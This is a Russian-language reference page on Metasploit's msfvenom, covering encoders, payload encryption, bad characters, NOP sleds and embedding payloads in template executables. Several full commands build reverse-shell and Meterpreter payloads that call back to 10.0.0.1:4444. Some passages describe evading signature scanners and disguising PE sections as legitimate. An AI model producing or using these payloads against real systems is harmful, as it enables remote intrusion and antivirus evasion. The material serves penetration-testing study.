Skip to main content

MSFvenom

Инструмент для генерации shellcode, исполняемых файлов, и т д, для использования эксплойтов снаружи msf. Основной элемент настройки - payload поэтому около него все крутится. 

Энкодер. MSFvenom берёт исходный payload и пропускает его через encoder, который меняет последовательность байтов, но добавляет в начало декодер — небольшой фрагмент кода, который при запуске восстанавливает исходный шеллкод в памяти и выполняет его. 

x86/shikata_ga_nai - часто используемый, универсальный энкодер.

Шифрование нагрузки. Полученный payload шифруется (scramble) побайтно. В результат добавляется декриптор/загрузчик, который при запуске расшифровывает payload в памяти и затем выполняет его. Отличие от энкодеров:

  • Энкодер полиморфно преобразует байты (обычно XOR-подобные трансформации, shikata_ga_nai и т. п.), задача — убрать «плохие байты» и усложнить статический анализ.
  • --encrypt использует криптографические алгоритмы (напр., AES, RC4, Base64), и обычно даёт лучшее сопротивление простому статическому сканированию.
# пример: зашифровать RC4 и задать ключ
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  --encrypt rc4 --encrypt-key 'mysecretkey' -f exe -o payload.exe

# пример AES (названия алгоритмов зависят от версии msfvenom)
msfvenom -p ... --encrypt aes256 --encrypt-key '32_byte_key_here' -f raw -o out.bin

Важные нюансы и ограничения

  • Не все форматы/пейлоады поддерживают шифрование одинаково. В некоторых версиях/для некоторых платформ --encrypt может не влиять на итог (или работать только для Windows/PE). Нужно проверять отдельно.
  • Нужен ключ, без ключа шифрование бессмысленно
  • Декриптор тоже должен удовлетворять --bad-chars — декодер/декриптор добавляет байты, которые тоже не должны содержать запрещённые символы.
  • Шифрование помогает против простых сигнатур, но поведенческий анализ/динамический анализ всё ещё могут детектировать payload. 
  • Стадированные vs безстадированные payload'ы. Поведение может отличаться для staged/stageless payload’ов: в некоторых случаях шифрование применяется только на одной стадии. Проверяй результат (хеш/размер/поведение).

Проверка

  • Сравни MD5/sha256 до и после — если шифрование активно, хеши и байты файла должны измениться.
  • Посмотри вывод msfvenom — он обычно указывает, что применялось шифрование/декодер и итоговый размер.
  • Тестируй в изолированной среде (виртуалка), чтобы убедиться, что декодер корректно восстанавливает payload и он выполняется.

Шифрование и кодирование может применяться вместе. 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 \
  --encrypt rc4 --encrypt-key 'mysecret' \
  -b '\x00\x0a\x0d' -f exe -o payload.exe

 

Просмотр информации


-l, --list <type>

Список модулей указанного типа. Варианты типов: payloads, encoders, nops, platforms, archs, encrypt, formats, all 

msfvenom -l platforms # список платформ под которые что-то есть

Можно дополнительно фильтровать по свойствам:

--platform платформа

--arch архитектура

msfvenom -l payloads --platform bsd --arch x86
--list-options

Список опций для данной нагрузки. 

msfvenom --payload bsd/x86/metsvc_bind_tcp --list-options
Настройка нагрузки
-p, --payload <payload> Нагрузка для использования
-t, --timeout <second>

Сколько секунд инструмент будет ждать при чтении полезной нагрузки (payload) из STDIN.

cat payload.bin | msfvenom -p - -t 10 -f raw -o out.bin

То есть, можно взять свой бинарный файл и его например закодировать. 0 - бесконечно (ждем сколько надо). 

-s, --space <length> Максимальный размер результирующей нагрузки. 




Настройка энкодера
-e, --encoder <encoder> Используемый энкодер.
--encoder-space <length> Максимальный размер закодированной нагрузки, по умолчанию значение -s
--smallest Сгенерировать минимально возможную по размеру нагрузку, используя все возможные encoders. Видимо не сочетается с -e.
-i, --iterations <count> Количество проходов энкодера
-b, --bad-chars <list>

Набор байтов (символов), которые нужно избегать в сгенерированном shellcode.

  • Нуль-байт \x00 и другие символы могут обрываться строковые функции в целевой программе (строка/буфер) — тогда шеллкод не выполнится.
  • Фильтры/функции ввода на стороне цели могут удалять или преобразовывать некоторые байты (например \x0a — LF, \x0d — CR).
  • Некоторые протоколы/форматы не допускают определённые байты (URL, текстовые поля, параметры командной строки и т.п.).

Как указывать

Примеры в bash: 

msfvenom -p ... -b '\x00\x0a\x0d' -f raw -o payload.bin

Важно: экранирование зависит от оболочки (в PowerShell/Windows CMD нужно иное экранирование).

 

В начало добавляется декодер-стаб (который тоже должен не содержать bad-chars), поэтому выбирается энкодер и/или увеличить число итераций (-i) чтобы получить корректный результат.

Ограничения.

  • Не всегда возможно устранить все указанные байты: при строгом наборе запрещённых символов или при слишком большом payload'е msfvenom может не найти рабочую комбинацию — тогда появится ошибка или payload не соберётся.
  • --bad-chars применим к raw шеллкоду; при генерирации exe, apk и вставке payload в контейнерный формат, дополнительные байты могут появиться в заголовках/шаблоне — их тоже надо учитывать.
  • Ограничение увеличивает размер шеллкода и уменьшает количество доступных энкодеров.
  • Нельзя запретить «символы многобайтовой архитектуры» — вы указываете конкретные байты 0x00..0xff.

Проверка результата

#!/usr/bin/python3
bad = {0x00, 0x0a, 0x0d}
data = open('payload.bin','rb').read()
found = sorted(set(b for b in data if b in bad))
print([hex(x) for x in found] or "No bad chars found")

Советы

  • Начинайте с минимального набора 
  • Если msfvenom не справляется, пробуйте другой энкодер или комбинацию энкодеров/итераций (-i).
  • Для текстовых ограничений есть специализированные «алфавитные»/ASCII-энкодеры (например alpha2) — они создают шеллкод, содержащий только допустимые символы, но это сильно увеличивает размер.

Часто используемый минимум

  • \x00 — нуль-байт: обрывает C-строки / строки в многих API.
  • \x0a — LF (line feed, \n): завершает строку в текстовых вводах/протоколах.
  • \x0d — CR (carriage return, \r): вместе с LF важен в протоколах; часто фильтруется.

Это самые распространённые, их почти всегда добавляют в --bad-chars.

Дополнительные байты в зависимости от вектора

  • В командной строке / аргументах процесса \x20 (space), \x22 ("), \x27 ('), \x5c (\)  пробел и кавычки могут ломать парсинг аргументов или экранирование.
  • В HTTP / URL контекстах \x2f (/), \x3f (?), \x26 (&), \x3d (=), \x25 (%), \x2b (+)  специальные символы в URL/GET-параметрах; некоторый ввод URL-энкодируется.
  • В файлах путей / файловых полях \x2f (/), \x5c (\), \x3a (:) — разделители путей, двоеточие и т.п.
  • В XML / HTML < (\x3c), > (\x3e), & (\x26), " (\x22), ' (\x27) — могут испортить разметку или вызвать экранирование.
  • В SQL-контекстах ' (\x27) — закрывает строки в SQL; также ; (\x3b) — разделитель команд.
  • В Base64 / MIME / почтовых полях = (\x3d) — padding в Base64, \r\n последовательности — важны для заголовков.
  • В текстовых полях, где обрезают по контрол-символам \x00.. \x1f (контролы: NUL, BEL, TAB, ESC и т.д.) — часто фильтруются или воспринимаются как спецсимволы. Особенно: \x09 (TAB) может вести себя непредсказуемо.

Специальные случаи и алфавиты

  • Алфавитные (alpha) ограничения: иногда доступен только набор печатных ASCII (A–Z, a–z, 0–9). Для таких случаев есть специальные энкодеры (alpha_upper, alpha_mixed), но размер растёт.
  • Unicode/UTF-16: если приложение принимает UTF-16, нужно учитывать нулевые байты между символами (и т.д.).
Настройка шифрования


--encrypt <value>

Тип шифрования payload

--encrypt-key <value>

Ключ шифрования

--encrypt-iv <value>

Вектор инициализации для шифрования.

NOP


-n, --nopsled <length>

Вставляет зону заполнения инструкциями «NOP» перед основным shellcode, чтобы при попадании управления в произвольное место этой зоны с вероятностью выше попасть в начало шеллкода.


Полезно при эксплуатациях (buffer overflow, return‑oriented jump и т.п.) — создаёт «landing zone», повышая шанс успешного перехода на рабочий код.

Зачем нужен

  • При эксплойтах часто точно угадать адрес сложно; NOP‑sled даёт запас: управление может «упасть» в любую точку sled‑а и «скольжением» дойти до реального шеллкода.
  • Удобно для тестов/демо и в ситуациях, где вы вклю́чаете payload в нестабильный буфер.

Пример использования (вставляем 64 байта NOP перед payload): 

msfvenom -p windows/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 -f raw -n 64 -o payload.bin

В результате файл payload.bin начнётся с 64 NOP‑байтов, затем пойдёт декодер/сам payload.

Важные нюансы

  • Размер. NOP‑sled увеличивает итоговый размер payload — учитывайте ограничения целевого буфера.
  • bad‑chars. Байты, используемые для NOP‑sled, тоже должны не попадать в --bad-chars; иначе sled будет содержать запрещённые символы.
  • Архитектура. NOP‑инструкция зависит от архитектуры (x86/x64/ARM и т.д.). msfvenom подставляет подходящую «nop» по умолчанию.
  • Альтернативы NOP. В ограниченных алфавитах часто используют «полезные» sled‑паттерны (например series of short jumps, INC/DEC tricks или специальные „NOP–генераторы“), потому что обычный \x90 может быть запрещён.
  • Выравнивание. В некоторых сценариях важна выравненность инструкций (особенно на ARM/Thumb) — просто добавлять байты вслепую — риск; проверяйте на целевой архитектуре.
  • Не панацея. NOP‑sled помогает только при нестрогом контроле адреса; в ряде случаев лучше управлять точным возвратом/переписыванием указателей.

Проверка 

#!/usr/bin/python3
data = open('payload.bin','rb').read()
print(data[:16].hex())   # покажет первые 16 байт (должны быть NOP)
--pad-nops

Использует размер nopsled, указанный с помощью -n <длина>, в качестве общего размера полезной нагрузки, автоматически добавляя nopsled количества (nops минус длина полезной нагрузки).

Дополнительные настройки
--platform <platform> Платформа для payload
-a, --arch <arch> Архитектура для payload или encoders
--service-name <value> Имя сервиса при генерации бинарника для сервиса.
-v, --var-name <value>

Имя переменной, которое будет использоваться в сгенерированном исходном коде (например для типов файла -f c, -f python, -f ruby, -f perl и т.п.). Удобно при встраивании shellcode в исходный файл.

Когда применяется

  • Для генерирующих исходный код форматов (C, Python, Ruby, Perl, PowerShell и др.).
  • Не применимо для бинарных форматов вроде raw, exe (в смысле имени переменной — там нет переменной в коде).

Примеры

C:

msfvenom -p linux/x86/shell_reverse_tcp \ 
LHOST=10.0.0.1 LPORT=4444 -f c -v shellcode

Результат (фрагмент) будет содержать:

unsigned char shellcode[] = 
"\x31\xc0\x50\x68..."
;
unsigned int shellcode_len = 123;

Python: 

 msfvenom -p python/meterpreter/reverse_tcp \
 LHOST=10.0.0.1 LPORT=4444 -f python -v payload_bytes

Результат: 

payload_bytes =  b""
payload_bytes += b"\x31\xc0\x50\x68..."

Ограничения и советы

  • Имя должно быть валидным идентификатором для целевого языка (буквы/цифры/подчёркивание; не начинать с цифры). msfvenom обычно не будет проверять/исправлять сложные/некорректные имена — лучше самому дать корректное.
  • Если не указывать, msfvenom подставит стандартное имя (часто buf или имя по формату).
  • Полезно для автоматизации/шаблонов: если у вас несколько вставок shellcode в одном файле — задавайте уникальные имена (stage1, stage2, injector).
Объединение кода
-x, --template <path>

Бинарник, в который нужно добавить созданную нагрузку

-k, --keep Сохранить шаблон, а payload добавить в новый поток.

--sec-name <value>

Имя новой секции (section) PE-(Windows)-файла, в которую msfvenom размещает большой payload при генерации исполняемого файла. По умолчанию случайное 4 символьное слово. Актуально если payload не помещается в существующие секции шаблона, msfvenom создаёт дополнительную секцию в PE-образе; --sec-name позволяет задать имя секции вместо случайного.

  • Опция применяется при генерации больших Windows-бинарников (формат exe и т.п.), особенно если вы используете --template или payload большой
  • PE-формат не более 8 символов в имени секции в исполняемом образе
  • Задает имя, выглядящее «легитимно» (например, .rdata, .data, .text) для маскировки секции, или специальное название для отладки/анализa.
  • Некоторые детекторы обращают внимание на «необычные» имена секций и изменённую структуру PE, возможно стоит установить. 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
 -f exe --template /path/to/stub.exe --sec-name .msf -o payload.exe
-c, --add-code <path>

Добавляем дополнительный shellcode. Это позволяет сложить несколько шэллкодов в один. 
msfvenom берёт файл с raw-shellcode (обычно в бинарном формате) и вставляет/добавляет его в генерируемый шеллкод/файл как дополнительный блок кода.

Это полезно, если нужно включить заранее подготовленный код (например, MessageBox-демо, кастомный инжектор, bootstrap-stub и т.п.) вместе с payload от Metasploit. 
Важные нюансы и ограничения

  • Формат/архитектура. Файл, который вы передаёте через -c, должен содержать shellcode той же архитектуры/платформы (x86/x64/ARM и т.д.), что и основной payload — иначе получившийся бинарник не будет работать.
  • Raw-формат. Обычно это raw (сырые байты) shellcode, а не EXE/APK.
  • Размер. Итоговый payload увеличится на размер добавленного кода — учтите это при вставке в шаблон с ограниченными секциями.
  • Bad-chars / энкодеры. Дополнительный код тоже должен соответствовать ограничениям --bad-chars и выбранному энкодеру — декодер/энкодер должен быть совместим с обоими кусками кода. Иначе msfvenom может не суметь корректно закодировать финальную последовательность.
  • Совместимость с шаблонами. При встраивании в exe/apk/другие форматы проверьте, как шаблон обрабатывает дополнительные данные — иногда придётся использовать --template/--sec-name и т.п. 
Настройки результата
-o, --out <path> Путь и имя создаваемого файла
-f, --format <format> Формат создаваемого файла